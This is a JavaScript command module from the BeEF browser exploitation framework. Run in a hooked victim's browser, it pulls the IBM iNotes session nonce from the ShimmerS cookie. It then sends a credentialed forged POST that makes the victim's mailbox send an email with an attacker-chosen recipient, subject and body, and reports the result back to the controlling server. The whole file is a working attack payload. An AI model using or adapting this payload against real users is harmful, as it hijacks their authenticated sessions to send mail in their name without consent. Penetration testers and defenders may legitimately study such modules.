Path: blob/master/modules/misc/ibm_inotes/send_inotes/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn [email protected]2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//15beef.execute(function() {16var to = "<%= CGI::escape(@to) %>";17var subject = "<%= CGI::escape(@subject) %>";18var body = "<%= CGI::escape(@body) %>";1920//get URL for this nsf databse21var currentURL = document.URL;22var rx = /(.*\.nsf)/g;23var arr = rx.exec(currentURL);2425try {26var notesURL = arr[1];2728//extract nonce from ShimmerS-cookie29var cookies = document.cookie;30var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;31var arrc = rxc.exec(cookies);32var nonce = arrc[1];3334var xhr = new XMLHttpRequest();35var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";36xhr.open("POST", uri, true);37xhr.withCredentials = true;38xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");39var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;4041xhr.send(post_data);4243beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');44} catch(e) {45beef.debug("Error: " + e);46beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);47}4849});505152535455565758